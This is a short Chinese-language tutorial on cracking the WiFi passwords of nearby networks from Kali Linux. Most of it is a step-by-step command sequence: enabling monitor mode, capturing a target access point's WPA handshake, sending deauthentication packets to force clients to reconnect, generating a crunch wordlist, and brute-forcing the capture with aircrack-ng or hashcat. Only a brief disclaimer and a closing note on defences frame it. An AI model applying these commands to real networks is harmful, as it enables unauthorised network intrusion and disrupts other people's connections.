Kali虚拟机破解WiFi教程：监听模式与字典爆破指南

• 准备工作与工具安装
• 启用无线网卡监听模式
• 捕获WiFi握手包
• 生成与优化密码字典
• 执行字典爆破攻击
• 安全与法律声明

准备工作与工具安装

在Kali虚拟机中，需确保已安装以下工具包：

• aircrack-ng：用于无线网络审计的核心工具
• reaver：针对WPS漏洞的爆破工具
• crunch：自定义密码字典生成器

通过命令sudo apt update && sudo apt install aircrack-ng reaver crunch完成安装，并准备兼容监听模式的无线网卡（推荐使用RT3070或AWUS036ACH）。

启用无线网卡监听模式

依次执行以下命令激活监听模式：

1. sudo airmon-ng check kill：终止干扰进程
2. sudo airmon-ng start wlan0：启动监听（wlan0为网卡名称）
3. sudo iwconfig：验证模式是否变为Monitor

捕获WiFi握手包

使用sudo airodump-ng wlan0mon扫描周边网络，记录目标AP的BSSID和信道。通过以下命令捕获握手包：

sudo airodump-ng -c [信道] --bssid [BSSID] -w capture_output wlan0mon

触发设备重连（如使用aireplay-ng发送反认证包）以加速握手包捕获。

生成与优化密码字典

利用crunch生成基础字典：

crunch 8 12 0123456789 -o num_dict.txt

建议根据目标信息优化字典，例如整合常见姓名、日期组合，或使用hashcat规则扩展变形。

执行字典爆破攻击

运行aircrack-ng -w [字典路径] [捕获文件.cap]启动爆破。若字典匹配成功，终端将输出明文密码。为提高效率，可使用GPU加速工具如hashcat。

安全与法律声明

未经授权的网络入侵属于违法行为，本文仅用于教育目的。建议仅在自有网络或获得明确书面授权的情况下实践相关技术。

结论：通过监听模式捕获握手包并配合高效字典，可评估无线网络安全性。密码复杂度提升与WPA3协议普及已显著增加破解难度，强化密码策略仍是防护核心。